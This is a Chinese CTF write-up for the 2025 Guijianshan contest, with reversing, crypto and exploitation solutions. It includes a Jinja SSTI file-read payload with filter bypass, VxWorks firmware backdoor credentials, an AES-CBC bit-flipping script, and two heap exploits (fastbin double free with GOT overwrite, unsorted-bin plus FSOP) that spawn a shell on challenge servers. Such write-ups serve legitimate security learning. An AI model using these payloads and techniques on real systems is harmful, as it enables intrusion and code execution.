2025古剑山WP
2025-11-29 14:24:14 2025-11-29 14:28:28
RE
babyre
入口点与 Main 函数 :
程序入口 start 调用了 __libc_start_main,其中 main 函数被识别为 sub_4009AE。
sub_4009AE 的逻辑非常简单:打印 "Input:" 并使用 scanf 将用户输入读取到全局缓冲区 unk_6D1D70 中。
发现隐藏逻辑 (.fini_array) :
通过分析 __libc_start_main 的参数,注意到了 fini 函数 sub_406530。
sub_406530 遍历并执行了一个函数指针数组(通常是 .fini_array,用于程序退出时的清理工作)。
在该数组中,发现了一个可疑函数 sub_400CCE。
逆向校验函数 (sub_400CCE) :
该函数首先构造了两个栈上字符串,解密后分别为 "success!" 和 "fail!"。
关键检查 1 : 它检查输入字符串偏移 10 处的内容是否为 is_good} (即 Input[10:18] == "is_good}")。
加密算法 : 随后调用了 sub_4009DC (RC4 KSA) 和 sub_400B96 (RC4 PRGA)。
Key : 使用 "is_good}" 作为 RC4 的密钥。
Data : 对整个输入字符串进行 RC4 加密(原地修改)。
关键检查 2 : 加密后的数据被与一组硬编码的字节进行比较:
0x2F34ED427B495C01 (Little Endian)
0x8B526A1E2EABAA4F (Little Endian)
0x840F (Little Endian)
解密 Flag :
由于 RC4 是对称加密,且我们已知密钥 ("is_good}") 和密文(硬编码字节),我们可以直接解密还原出原始输入。
Python def rc4_ksa ( key ):
S = list ( range ( 256 ))
j = 0
for i in range ( 256 ):
j = ( j + S [ i ] + key [ i % len ( key )]) % 256
S [ i ], S [ j ] = S [ j ], S [ i ]
return S
def rc4_prga ( S , length ):
i = 0
j = 0
keystream = []
for _ in range ( length ):
i = ( i + 1 ) % 256
j = ( j + S [ i ]) % 256
S [ i ], S [ j ] = S [ j ], S [ i ]
k = S [( S [ i ] + S [ j ]) % 256 ]
keystream . append ( k )
return keystream
def solve ():
# Ciphertext from the binary
# 0x2F34ED427B495C01 -> 01 5C 49 7B 42 ED 34 2F
p1 = [ 0x01 , 0x5C , 0x49 , 0x7B , 0x42 , 0xED , 0x34 , 0x2F ]
# 0x8B526A1E2EABAA4F -> 4F AA AB 2E 1E 6A 52 8B
p2 = [ 0x4F , 0xAA , 0xAB , 0x2E , 0x1E , 0x6A , 0x52 , 0x8B ]
# 0x840F -> 0F 84
p3 = [ 0x0F , 0x84 ]
ciphertext = p1 + p2 + p3
key_str = "is_good}"
key = [ ord ( c ) for c in key_str ]
S = rc4_ksa ( key )
keystream = rc4_prga ( S , len ( ciphertext ))
plaintext = []
for c , k in zip ( ciphertext , keystream ):
plaintext . append ( c ^ k )
print ( "Plaintext bytes:" , plaintext )
print ( "Plaintext string:" , "" . join ( chr ( c ) for c in plaintext ))
if __name__ == "__main__" :
solve ()
veryez
入口分析 :
程序入口 start (0x4017d1) 调用了 main 函数 (0x401000)。
main 函数非常简单,打印提示信息后调用了 sub_401030,并传入了两个参数:字节码 (unk_408254) 和数据区 (unk_408030)。
虚拟机逆向 (sub_401030) :
该函数是一个典型的 VM 解释器,通过 while 循环读取操作码并执行相应操作。
通过分析 switch 分支,我还原了部分关键指令:
0x104: PUSH (压入立即数)
0x305: IN_STR (输入字符串)
0x404: STORE_DWORD (存储数据)
0x504: LOAD_BYTE (加载字节)
0x102: AND (按位与)
0x402: XOR (异或)
0x201: SUB (减法/比较)
0x403: JNZ (条件跳转)
逻辑还原 :
虚拟机执行的逻辑是对输入字符串进行校验。
校验算法为:input[i] == encrypted[i] ^ key[i % 8]。
循环次数为 47 次。
数据提取 :
Key : 位于数据区偏移 16 处 (0x408040),内容为 "virtualM"。
Encrypted Flag : 位于数据区偏移 24 处 (0x408048),长度 47 字节。
Python key = [ 0x76 , 0x69 , 0x72 , 0x74 , 0x75 , 0x61 , 0x6c , 0x4d ]
enc_flag = [
0x10 , 0x05 , 0x13 , 0x13 , 0x0e , 0x51 , 0x5b , 0x29 ,
0x45 , 0x5e , 0x44 , 0x42 , 0x47 , 0x53 , 0x5b , 0x7a ,
0x47 , 0x51 , 0x16 , 0x4c , 0x45 , 0x58 , 0x58 , 0x2f ,
0x12 , 0x29 , 0x43 , 0x12 , 0x47 , 0x03 , 0x0f , 0x29 ,
0x46 , 0x51 , 0x11 , 0x15 , 0x45 , 0x00 , 0x0f , 0x2e ,
0x15 , 0x0b , 0x47 , 0x15 , 0x44 , 0x02 , 0x11
]
flag = ""
for i in range ( len ( enc_flag )):
k = key [ i % 8 ]
flag += chr ( enc_flag [ i ] ^ k )
print ( flag )
final
查询可知CVE-2010-2967是VxWorks 6.9之前版本的系统中loginLib的loginDefaultEncrypt()函数存在密码碰撞问题
根据https://blog.csdn.net/a2888828/article/details/116230313内容先binwalk再ida打开分析提取文件,但是符号表恢复失败,根据博客内容定位到了后门账密位置
C // write access to const memory has been detected, the output may be wrong!
void __noreturn sub_299F0 ()
{
__int64 v0 ; // r3
__int64 v1 ; // r3
__int64 v2 ; // r3
__int64 v3 ; // r3
__int64 v4 ; // r3
__int64 v5 ; // r3
__int64 v6 ; // r3
__int64 v7 ; // r3
__int64 v8 ; // r3
unsigned int v9 ; // [sp+2Ch] [-544h]
unsigned int v10 ; // [sp+2Ch] [-544h]
_BYTE v11 [ 1264 ]; // [sp+30h] [-540h] BYREF
unsigned int v12 ; // [sp+520h] [-50h]
_BYTE v13 [ 16 ]; // [sp+528h] [-48h] BYREF
char v14 [ 40 ]; // [sp+538h] [-38h] BYREF
v12 = sub_167DC ();
sub_29994 ();
dword_339A20 = 16 ;
sub_16B894 ( & unk_339A40 , "59" );
v9 = sub_19D27C ( 0 , 512 , 8000 , 8000 , 0 );
sub_1C6C44 ( 6 );
sub_1C6BBC ( "/RAM1" , v9 );
if ( sub_1C6BB4 ( 6 ) )
sub_1BC1CC ( "dosFSDevInitOptionsSet failed \n " );
sub_1C6C54 ( v11 , 248 , 4 , 1 , 2 , 3 , 240 , 1 );
v10 = sub_19BE50 ( 0 , 0 );
if ( ! v10 )
{
sub_1BC1CC ( "Format needed FLASH0 - FAULT - Wait for reset ... \n " );
sub_24694 ( 32800 );
while ( 1 )
;
}
v0 = sub_1C6AD4 ( "/FLASH0" , v10 , v11 );
v1 = sub_2A714 ( v0 );
sub_1BB800 ( v1 );
sub_1BC638 (
v13 ,
"%.2X%.2X%.2X%.2X%.2X%.2X" ,
* v12 ,
* ( v12 + 1L L ),
* ( v12 + 2L L ),
* ( v12 + 3L L ),
* ( v12 + 4L L ),
* ( v12 + 5L L ));
sub_56B88 ( v13 , v14 );
sub_1BC1CC ( "-----> Password: %s <----- \n " , v14 );
sub_1BC074 ( v14 , & unk_342044 );
sub_1BB850 ( "fwupgrade" , & unk_342044 );
sub_1BB850 ( "sysdiag" , "bbddRdzb9" );
sub_1BB850 ( "fdrusers" , "bRbQyzcy9b" );
sub_1BB850 ( "USER" , "cdcS9bcQc" );
v2 = sub_1BB850 ( "ntpupdate" , "See9cb9y99" );
sub_29F1C ( v2 );
v3 = sub_1CAAC ( sub_1BB980 , 0 );
v4 = sub_2407C ( v3 );
sub_42364 ( v4 );
v5 = sub_18E898 ( sub_41938 );
v6 = sub_25CB0 ( v5 );
v7 = sub_25E2C ( v6 );
sub_25E8C ( v7 );
v8 = sub_411EC ( 0 );
dword_339434 = 0 ;
dword_2B3240 = 1 ;
while ( 1 )
v8 = sub_41778 ( v8 );
}
根据调用找到了和标准hash非常相似的函数
C __int64 __fastcall sub_1BC074 ( __int64 a1 , _BYTE * a2 )
{
int v4 ; // r29
__int64 i ; // r30
int v7 ; // r0
unsigned int v8 ; // r30
_BYTE * v9 ; // r31
unsigned int n0x32 ; // r0
unsigned int n0x35 ; // r0
unsigned int n0x38 ; // r0
v4 = 0 ;
if ( ( sub_16BA60 )() > 7 && sub_16BA60 ( a1 ) <= 0x28 )
{
for ( i = 0 ; i < sub_16BA60 ( a1 ); v4 += v7 ^ i )
{
v7 = * ( a1 + i ) * ( i + 2 );
++ i ;
}
v8 = 0 ;
v9 = a2 ;
sub_1BC638 ( a2 , "%u" , 31695317 * v4 );
while ( v8 < sub_16BA60 ( a2 ) )
{
n0x32 = * v9 ;
if ( n0x32 <= 0x32 )
* v9 = n0x32 + 33 ;
n0x35 = * v9 ;
if ( n0x35 <= 0x35 )
* v9 = n0x35 + 47 ;
n0x38 = * v9 ;
if ( n0x38 <= 0x38 )
* v9 = n0x38 + 65 ;
++ v9 ;
++ v8 ;
}
return 0 ;
}
else
{
sub_18795C ( & unk_360003 );
return -1 ;
}
}
exp:
Python def solve ():
input_str = "SimpleXue"
# Phase 1: Calculate v4
v4 = 0
i = 0
length = len ( input_str )
# for ( i = 0; (unsigned int)i < (unsigned int)sub_16BA60(a1); v4 += v7 ^ i )
# {
# v7 = *(unsigned __int8 *)(a1 + i) * (i + 2);
# ++i;
# }
while i < length :
# v7 = *(unsigned __int8 *)(a1 + i) * (i + 2);
# Note: In C, `a1 + i` uses the current `i` (before increment).
char_code = ord ( input_str [ i ])
v7 = char_code * ( i + 2 )
# ++i;
i += 1
# Loop increment: v4 += v7 ^ i
# Here `i` is the NEW value (incremented).
term = v7 ^ i
v4 = ( v4 + term ) & 0xFFFFFFFF
# sub_1BC638(a2, "%u", 31695317 * v4);
# %u prints unsigned int
intermediate_val = ( 31695317 * v4 ) & 0xFFFFFFFF
s_val = str ( intermediate_val )
print ( f "v4: { v4 } " )
print ( f "Intermediate string: { s_val } " )
# Phase 2: Transform string
result_chars = []
for char in s_val :
code = ord ( char )
# if ( n0x32 <= 0x32 ) *v9 = n0x32 + 33;
if code <= 0x32 : # 0x32 is 50 ('2')
code += 33
# n0x35 = (unsigned __int8)*v9;
# if ( n0x35 <= 0x35 ) *v9 = n0x35 + 47;
if code <= 0x35 : # 0x35 is 53 ('5')
code += 47
# n0x38 = (unsigned __int8)*v9;
# if ( n0x38 <= 0x38 ) *v9 = n0x38 + 65;
if code <= 0x38 : # 0x38 is 56 ('8')
code += 65
result_chars . append ( chr ( code ))
final_hash = "" . join ( result_chars )
print ( f "Final Hash: { final_hash } " )
if __name__ == "__main__" :
solve ()
easyre
简单逻辑base64 + RC4 + 异或 0x22222222
Python import base64
from typing import List
secret_key = b "flag{do_you_find_it_?}"
encrypted_blocks = [
- 56045301 ,
1126325548 ,
1037697210 ,
2123048962 ,
1640073719 ,
- 454381817 ,
- 2146442625 ,
- 691840689 ,
1448341866 ,
586039113 ,
- 1321770811 ,
]
xor_const1 = 0x90604956
xor_const2 = 0x22222222
def to_signed32 ( num : int ) -> int :
num &= 0xFFFFFFFF
return num if num < 0x80000000 else num - 0x100000000
def generate_rc4_keystream ( key : bytes , length : int ) -> bytes :
s_box = list ( range ( 256 ))
j = 0
key_length = len ( key )
for i in range ( 256 ):
j = ( j + s_box [ i ] + key [ i % key_length ]) & 0xFF
s_box [ i ], s_box [ j ] = s_box [ j ], s_box [ i ]
i = 0
j = 0
keystream = bytearray ()
for _ in range ( length ):
i = ( i + 1 ) & 0xFF
j = ( j + s_box [ i ]) & 0xFF
s_box [ i ], s_box [ j ] = s_box [ j ], s_box [ i ]
k = s_box [( s_box [ i ] + s_box [ j ]) & 0xFF ]
keystream . append ( k )
return bytes ( keystream )
def int_to_little_endian_bytes ( num : int ) -> bytes :
num &= 0xFFFFFFFF
return bytes (( num & 0xFF , ( num >> 8 ) & 0xFF , ( num >> 16 ) & 0xFF , ( num >> 24 ) & 0xFF ))
def decrypt_block ( block_val : int ) -> bytes :
temp_a = to_signed32 (( block_val ^ xor_const2 ) & 0xFFFFFFFF )
if temp_a > 0 :
decrypted = ( temp_a ^ xor_const1 ) & 0xFFFFFFFF
return int_to_little_endian_bytes ( decrypted )
temp_b = to_signed32 ( block_val & 0xFFFFFFFF )
if temp_b <= 0 :
decrypted = ( temp_b ^ xor_const1 ) & 0xFFFFFFFF
return int_to_little_endian_bytes ( decrypted )
decrypted = (( block_val ^ xor_const2 ) ^ xor_const1 ) & 0xFFFFFFFF
return int_to_little_endian_bytes ( decrypted )
def main ():
ciphertext = bytearray ()
for block in encrypted_blocks :
decrypted_block = decrypt_block ( block )
ciphertext += decrypted_block
rc4_keystream = generate_rc4_keystream ( secret_key , len ( ciphertext ))
base64_encoded = bytes ( c ^ k for c , k in zip ( ciphertext , rc4_keystream ))
try :
decoded_bytes = base64 . b64decode ( base64_encoded , validate = True )
except Exception :
decoded_bytes = base64 . b64decode ( base64_encoded + b "=" * (( 4 - ( len ( base64_encoded ) % 4 )) % 4 ))
try :
result_string = decoded_bytes . decode ( "ascii" )
except UnicodeDecodeError :
result_string = None
if result_string is not None :
print ( result_string )
if __name__ == "__main__" :
main ()
helloworld
main(0x401000 ):
0分配v3=malloc(100),并用随机字节填充。
读取标准输入 Buffer(最多 100 字节),按两个字节一组解析。每组指令的第一个字节:0·高4位为操作码h=first >>4
低4位为索引idx=first & 0xF(在 v3 中的下标)0若h为3,读取该组的第二字节 b2,将v9= b2 &8x1F,随后会把 v3[idx]= v28[v9],其中v28="abcdefghijklmnopqrstuvwxyz"
若 h为1,把 v3[idx]若为 a..z 转成大写。
若 h为 2,把 v3[idx]若为 A..Z 转成小写。
其他 h(如 4)分支未有效赋值(v18 未初始化),等效为无操作。
循环以步长 2扫过 Buffer 。
最后通过 sub 4011CE(sub 401348)写出到 std::ostream。sub 401348 做的是输出换行和刷新; sub 4011CE 包装了缓冲写入,最终会把我们构造的内容输出。·结论:我们可以用两字节一组的“指令“把 v3 指定位置设为某个小写字母,再用 h=-1 指令把该位置转成大写。由此可精确构造任意英文字串(a-z和其大写)。
Python import socket
import sys
from typing import Tuple
SERVER_HOST = "47.107.164.227"
SERVER_PORT = 47103
def get_alpha_index ( char : str ) -> int :
char = char . lower ()
index = ord ( char ) - ord ( 'a' )
if not ( 0 <= index <= 25 ):
raise ValueError ( f "非字母字符: { char } " )
return index
def create_set_letter_command ( index : int , char : str ) -> bytes :
first_byte = ( 3 << 4 ) | ( index & 0x0F )
letter_index = get_alpha_index ( char )
second_byte = ord ( 'a' ) + letter_index
return bytes ([ first_byte , second_byte ])
def create_uppercase_command ( index : int ) -> bytes :
first_byte = ( 1 << 4 ) | ( index & 0x0F )
second_byte = ord ( 'A' )
return bytes ([ first_byte , second_byte ])
def create_noop_command ( index : int ) -> bytes :
first_byte = ( 4 << 4 ) | ( index & 0x0F )
second_byte = ord ( 'Z' )
return bytes ([ first_byte , second_byte ])
def construct_payload () -> bytes :
target_string = "GdkknVnqkc"
uppercase_flags = [ True , False , False , False , False , True , False , False , False , False ]
result = bytearray ()
for idx , char in enumerate ( target_string ):
result += create_set_letter_command ( idx , char )
if uppercase_flags [ idx ]:
result += create_uppercase_command ( idx )
for idx in range ( 10 , 16 ):
result += create_noop_command ( idx )
return bytes ( result )
def transmit_data ( host : str , port : int , data : bytes , timeout : float = 5.0 ) -> Tuple [ bytes , bytes ]:
buffer = bytearray ()
with socket . create_connection (( host , port ), timeout = timeout ) as connection :
connection . settimeout ( timeout )
connection . sendall ( data + b " \n " )
while True :
try :
chunk = connection . recv ( 4096 )
except socket . timeout :
break
if not chunk :
break
buffer += chunk
return bytes ( buffer ), b ""
def main ():
packet = construct_payload ()
if len ( sys . argv ) == 1 :
output , _ = transmit_data ( SERVER_HOST , SERVER_PORT , packet )
try :
sys . stdout . buffer . write ( output )
except Exception :
print ( output . decode ( errors = "replace" ))
return
if sys . argv [ 1 ] == "--dump" :
file_path = sys . argv [ 2 ] if len ( sys . argv ) > 2 else "input.bin"
with open ( file_path , "wb" ) as file :
file . write ( packet )
return
argument = sys . argv [ 1 ]
if ":" in argument :
target_host , port_str = argument . split ( ":" , 1 )
target_port = int ( port_str )
else :
target_host , target_port = argument , SERVER_PORT
output , _ = transmit_data ( target_host , target_port , packet )
try :
sys . stdout . buffer . write ( output )
except Exception :
print ( output . decode ( errors = "replace" ))
if __name__ == "__main__" :
main ()
WEB
baby_ssti
题目对builtins有过滤,直接拼接绕过即可,以下是Payload
/hello?name={{ url_for.globals ['buil'+'tins ']'open' .read() }}
URL编码:/hello?name={{%20url_for.globals [%27__buil%27+%27tins__%27]%27open%27 .read()%20}}
CRYPTO
common rsa
Python # 给定参数
N = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699
e1 = 35422
c1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033
e2 = 1033
c2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548
# 扩展欧几里得,求 a, b 使得 a*e1 + b*e2 = 1
def egcd ( a , b ):
if b == 0 :
return ( a , 1 , 0 )
g , x , y = egcd ( b , a % b )
return ( g , y , x - ( a // b ) * y )
g , a , b = egcd ( e1 , e2 )
assert g == 1 # 必须互素
# 这里应得到 a = -334, b = 11453(可能有等价解)
# 计算模逆
def modinv ( x , n ):
g , u , v = egcd ( x , n )
if g != 1 :
raise ValueError ( "不存在模逆(gcd != 1)" )
return u % n
# 处理负幂
if a < 0 :
inv_c1 = modinv ( c1 , N )
part1 = pow ( inv_c1 , - a , N )
else :
part1 = pow ( c1 , a , N )
if b < 0 :
inv_c2 = modinv ( c2 , N )
part2 = pow ( inv_c2 , - b , N )
else :
part2 = pow ( c2 , b , N )
m = ( part1 * part2 ) % N
print ( "m (int) =" , m )
# 如需转为字节/字符串(假设是标准直接编码,无填充):
m_bytes = m . to_bytes (( m . bit_length () + 7 ) // 8 , 'big' )
print ( "m (hex) =" , m_bytes . hex ())
try :
print ( "m (utf-8) =" , m_bytes . decode ( 'utf-8' ))
except UnicodeDecodeError :
print ( "m 不是可直接解码的 UTF-8 文本(可能是二进制或需特定编码/填充)。" )
sol
通过分析题目给出的方程 $y=x4+ax 2+bx+c$ 以及各变量的大小范围:
- $x$ 是 1024 位素数,所以 $x^4$ 大约为 4096 位。
- $a$ 是 512 位,$b$ 是 1024 位,$c$ 是 1500 位。
- $ax^2$ 大约为 $512 + 2048 = 2560$ 位。
- $bx$ 大约为 $1024 + 1024 = 2048$ 位。
可以看出 $x^4$ 这一项在 $y$ 中占据绝对主导地位,其他项相对于 $x^4$ 非常小。因此,$x$ 可以通过直接对 $y$ 开四次方根并取整得到。
计算出 $x$ 后,我们可以通过移项求解 $a$:
$ax^2 = y - x^4 - bx - c$
$a = \frac{y - x^4 - bx - c}{x^2}$
Flag:
Text Only flag{01a6eb898468abbd352300a7a072495c}
aesstudy
分为PoW验证和多轮bit-flipping攻击。AES-CBC模式中,密文块Ci会与下一块明文Mi+1进行XOR:Mi+1 = AES_Decrypt(Ci+1) ⊕ Ci。攻击原理是通过修改密文块Ci的字节来控制明文块Mi+1对应位置的字节值:C1[pos-16] ^= (M1[pos] ^ ord(target_char))。首先暴力破解3字节PoW,然后在每轮中根据服务器给出的c1密文、m1明文和m2约束条件,修改c1构造新密文c2使解密后满足约束,最终获得flag。
Python #!/usr/bin/env python3
import hashlib
import re
import base64
from pwn import *
context . log_level = 'debug'
def crack_hash ( prefix ):
log . info ( f "Cracking hash with prefix: { prefix } " )
for x in range ( 256 ):
for y in range ( 256 ):
for z in range ( 32 ):
data = bytes ([ x , y , z ])
if hashlib . sha256 ( data ) . hexdigest () . startswith ( prefix ):
solution = data . hex ()
log . success ( f "Hash cracked: { solution } " )
return solution
return None
def flip_bits ( cipher_b64 , plain_b64 , targets ):
cipher_bytes = bytearray ( base64 . b64decode ( cipher_b64 ))
plain_bytes = bytearray ( base64 . b64decode ( plain_b64 ))
modified_cipher = bytearray ( cipher_bytes )
for index , desired_char in targets . items ():
if index >= 16 :
desired_byte = ord ( desired_char )
original_byte = plain_bytes [ index ]
xor_diff = original_byte ^ desired_byte
modified_cipher [ index - 16 ] ^= xor_diff
return base64 . b64encode ( bytes ( modified_cipher )) . decode ()
def extract_data ( text ):
cipher_pattern = r "c1\.encode\('base64'\)=([A-Za-z0-9+/=\n]+?)(?=\n#)"
cipher_match = re . search ( cipher_pattern , text , re . DOTALL )
if not cipher_match :
return None , None , {}
cipher_encoded = cipher_match . group ( 1 ) . replace ( ' \n ' , '' )
plain_pattern = r "m1\.encode\('base64'\)=([A-Za-z0-9+/=\n]+?)(?=\n#)"
plain_match = re . search ( plain_pattern , text , re . DOTALL )
if not plain_match :
return None , None , {}
plain_encoded = plain_match . group ( 1 ) . replace ( ' \n ' , '' )
target_dict = {}
for constraint in re . finditer ( r "m2\[(\d+)\]=(.)" , text ):
position = int ( constraint . group ( 1 ))
character = constraint . group ( 2 )
target_dict [ position ] = character
return cipher_encoded , plain_encoded , target_dict
def execute ():
connection = remote ( '47.107.168.16' , 40335 )
received_data = connection . recvuntil ( b "@ x.encode('hex')=" ) . decode ()
hash_pattern = re . search ( r "=='([a-f0-9] {8} )'" , received_data )
if not hash_pattern :
log . error ( "Cannot find hash target" )
connection . close ()
return
hash_target = hash_pattern . group ( 1 )
hash_solution = crack_hash ( hash_target )
if hash_solution is None :
log . error ( "Hash cracking failed" )
connection . close ()
return
connection . sendline ( hash_solution . encode ())
connection . recvuntil ( b "Good job! \n " )
current_round = 1
while True :
try :
log . info ( f "Processing round { current_round } " )
round_data = connection . recvuntil ( b "@c2.encode('base64')=" , timeout = 3 ) . decode ()
cipher_data , plain_data , constraint_map = extract_data ( round_data )
if not cipher_data or not plain_data :
log . error ( "Data extraction failed" )
break
log . info ( f "Round constraints: { constraint_map } " )
result_cipher = flip_bits ( cipher_data , plain_data , constraint_map )
connection . sendline ( result_cipher . encode ())
server_response = connection . recvline ( timeout = 2 ) . decode () . strip ()
log . info ( f "Server says: { server_response } " )
if "Good job!" not in server_response :
log . warning ( "Unexpected server response" )
print ( server_response )
connection . interactive ()
break
current_round += 1
except EOFError :
log . info ( "Server closed connection" )
break
except Exception as error :
log . error ( f "Exception occurred: { error } " )
try :
leftover_data = connection . recvall ( timeout = 2 ) . decode ()
print ( " \n " + "=" * 40 )
print ( "Leftover data from server:" )
print ( leftover_data )
print ( "=" * 40 )
except Exception :
pass
break
connection . close ()
if __name__ == "__main__" :
execute ()
PWN
ezuaf
2.23版本,double free且没开启pie,free,chunk1->chunk2->chunk1,alloc一次同大小,将fastbin指针指向bss段上_IO_2_1_stderr_,偏移一定数值,使得0x7f在chunk的size位置,malloc到bss上后改note到got表,将exit改成backdoor
Python #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
# =========================================================
# SETUP
# =========================================================
# 设置pwntools上下文
context . arch = 'amd64' # 目标架构
context . os = 'linux' # 目标系统
context . log_level = 'info' # 设置日志级别 (debug/info/warn/error)
# 目标文件信息
elf = ELF ( './pwn' )
# 全局变量,用于切换本地/远程调试
# 使用 'local' 命令行参数进行本地调试
# 使用 'remote' 命令行参数进行远程连接
if 'remote' in sys . argv :
p = remote ( '47.107.139.41' , 44534 ) # 替换为你的远程IP和端口
else :
p = process ( elf . path )
# =========================================================
# HELPER FUNCTIONS
# =========================================================
def send_choice ( choice ):
"""向菜单发送选择"""
p . sendlineafter ( b 'your choice:' , str ( choice ) . encode ())
def add ( index , size , content ):
"""对应case 1: add note"""
log . info ( f "Adding note at index { index } with size { hex ( size ) } " )
send_choice ( 1 )
p . sendlineafter ( b 'Input the index of the note:' , str ( index ) . encode ())
p . sendlineafter ( b 'Input the length of the note:' , str ( size ) . encode ())
p . sendafter ( b 'please enter your note:' , content ) # 使用send而非sendline,避免写入多余的换行符
def delete ( index ):
"""对应case 2: delete note"""
log . info ( f "Deleting note at index { index } " )
send_choice ( 2 )
p . sendlineafter ( b 'enter index:' , str ( index ) . encode ())
def show ( index ):
"""对应case 3: show note. 返回泄露的内容。"""
log . info ( f "Showing note at index { index } " )
send_choice ( 3 )
p . sendlineafter ( b 'Input the index of the note:' , str ( index ) . encode ())
# puts函数会输出内容直到遇到\x00,然后额外输出一个换行符
# 因此,我们先接收提示信息,然后用recvline()接收包含note内容和换行符的一整行
p . recvuntil ( b 'The content of the note:' )
def edit ( index , content ):
"""对应case 4: edit note"""
log . info ( f "Editing note at index { index } " )
send_choice ( 4 )
p . sendlineafter ( b 'enter the index of note:' , str ( index ) . encode ())
p . sendafter ( b 'please enter your note:' , content ) # 同样使用send
def exit_program ():
"""对应case 5: exit"""
log . info ( "Exiting program" )
send_choice ( 5 )
# =========================================================
# EXPLOITATION
# =========================================================
def main ():
#context.log_level = 'debug' # 切换到debug模式以查看详细的交互信息
add ( 9 , 0x60 , b '/bin/sh \x00 ' ) # Chunk 9
add ( 0 , 0x60 , b 'A' * 8 ) # Chunk 0
add ( 1 , 0x60 , b 'B' * 8 ) # Chunk 1
delete ( 9 )
delete ( 0 )
delete ( 1 )
delete ( 0 )
#context.log_level = 'debug' # 切换到debug模式以查看详细的交互信
add ( 2 , 0x60 , p64 ( 0x6020b5 - 8 ))
add ( 3 , 0x60 , b 'C' * 8 )
add ( 5 , 0x60 , b 'a' )
add ( 6 , 0x60 , b 'aaa' )
show ( 6 )
libc = ELF ( './libc.so.6' )
libc_base = u64 ( p . recvuntil ( b ' \x0a ' , drop = True )[ - 6 :] . ljust ( 8 , b ' \x00 ' )) - libc . sym [ "_IO_2_1_stderr_" ]
log . success ( f "Libc base address: { hex ( libc_base ) } " )
edit ( 6 , b 'a' * 0x23 + p64 ( 0x100 ) + p64 ( elf . got [ "exit" ]))
edit ( 0 , p64 ( elf . sym [ "backdoor" ]))
exit_program ()
p . interactive ()
if __name__ == "__main__" :
main ()
o
连接服务器,故意报错,拿到backtrace,里边有目标libc地址
C ======= Backtrace : =========
/ lib / x86_64 - linux - gnu / libc . so .6 ( + 0x777f5 )[ 0x77a5d65cc7f5 ]
/ lib / x86_64 - linux - gnu / libc . so .6 ( + 0x8215e )[ 0x77a5d65d715e ]
/ lib / x86_64 - linux - gnu / libc . so .6 ( __libc_malloc + 0x54 )[ 0x77a5d65d91d4 ]
. / pwn ( + 0xae5 )[ 0x647bd4000ae5 ]
. / pwn ( + 0xe42 )[ 0x647bd4000e42 ]
/ lib / x86_64 - linux - gnu / libc . so .6 ( __libc_start_main + 0xf0 )[ 0x77a5d6575840 ]
. / pwn ( + 0x8aa )[ 0x647bd40008aa ]
======= Memory map : ========
通过网站libc database search 查找到对应版本是libc6 2.23-0ubuntu11.2 amd64
题目则是没有fastbin,只能unsortedbin的uaf,可以通过unsorted bin attack+FSOP达到getshell
Python #!/usr/bin/env python3
from pwn import *
context . binary = elf = ELF ( './pwn' )
if args . REMOTE :
p = remote ( '47.107.80.18' , 48104 )
else :
p = process ( elf . path )
def menu ( choice ):
p . sendlineafter ( b 'choice' , str ( choice ) . encode ())
def add ( size , content ):
menu ( 1 )
p . sendlineafter ( b 'size' , str ( size ) . encode ())
p . sendlineafter ( b 'content' , content )
def dele ( idx ):
menu ( 2 )
p . sendlineafter ( b 'idx' , str ( idx ) . encode ())
def edit ( idx , content ):
menu ( 3 )
p . sendlineafter ( b 'idx' , str ( idx ) . encode ())
p . sendlineafter ( b 'content' , content )
def edit_fast ( idx , content ):
menu ( 3 )
p . sendlineafter ( b 'idx' , str ( idx ) . encode ())
p . sendafter ( b 'content' , content )
def show ( idx ):
menu ( 4 )
p . sendlineafter ( b 'idx' , str ( idx ) . encode ())
add ( 0x200 , b 'A' ) #0
add ( 0x100 , b 'B' ) #1
add ( 0x100 , b 'C' ) #2
add ( 0x100 , b 'E' ) #3
add ( 0x100 , b 'F' ) #4
dele ( 0 )
show ( 0 )
p . recvuntil ( b ' \n ' )
libc = ELF ( './libc.so.6' )
leak = u64 ( p . recvuntil ( b ' \n ' , drop = True ) . ljust ( 8 , b ' \x00 ' ))
libc_base = leak - libc . sym [ '__malloc_hook' ] - 0x68
IO_list_all = libc . sym [ '_IO_list_all' ] + libc_base
system_addr = libc . sym [ 'system' ] + libc_base
print ( f 'Libc base: { hex ( libc_base ) } ' )
print ( f 'IO_list_all: { hex ( IO_list_all ) } ' )
edit_fast ( 0 , b "a" * 8 ) #overflow size of chunk2
dele ( 2 )
show ( 0 )
p . recvuntil ( b 'aaaaaaaa' )
leak2 = u64 ( p . recvuntil ( b ' \n ' , drop = True ) . ljust ( 8 , b ' \x00 ' ))
heap_base = leak2 - 0x320
print ( f 'Heap base: { hex ( heap_base ) } ' )
edit_fast ( 0 , p64 ( leak )) #fix size of chunk0
add ( 0x100 , b "D" ) #5
add ( 0x100 , b "D" ) #6
payload = flat ([
b 'a' * 0x100 ,
b '/bin/sh \x00 ' , ##结构体的首个
0x61 ,
0 ,
IO_list_all - 0x10 ,
0 ,
1 ,
b ' \x00 ' * 0xa8 , ##只能是\x00
heap_base + 0x1e8 ,
[ 0 ] * 2 ,
[ system_addr ] * 2
])
edit ( 0 , payload )
#pause()
menu ( 1 )
p . sendlineafter ( b 'size' , str ( 1024 ) . encode ())
p . interactive ()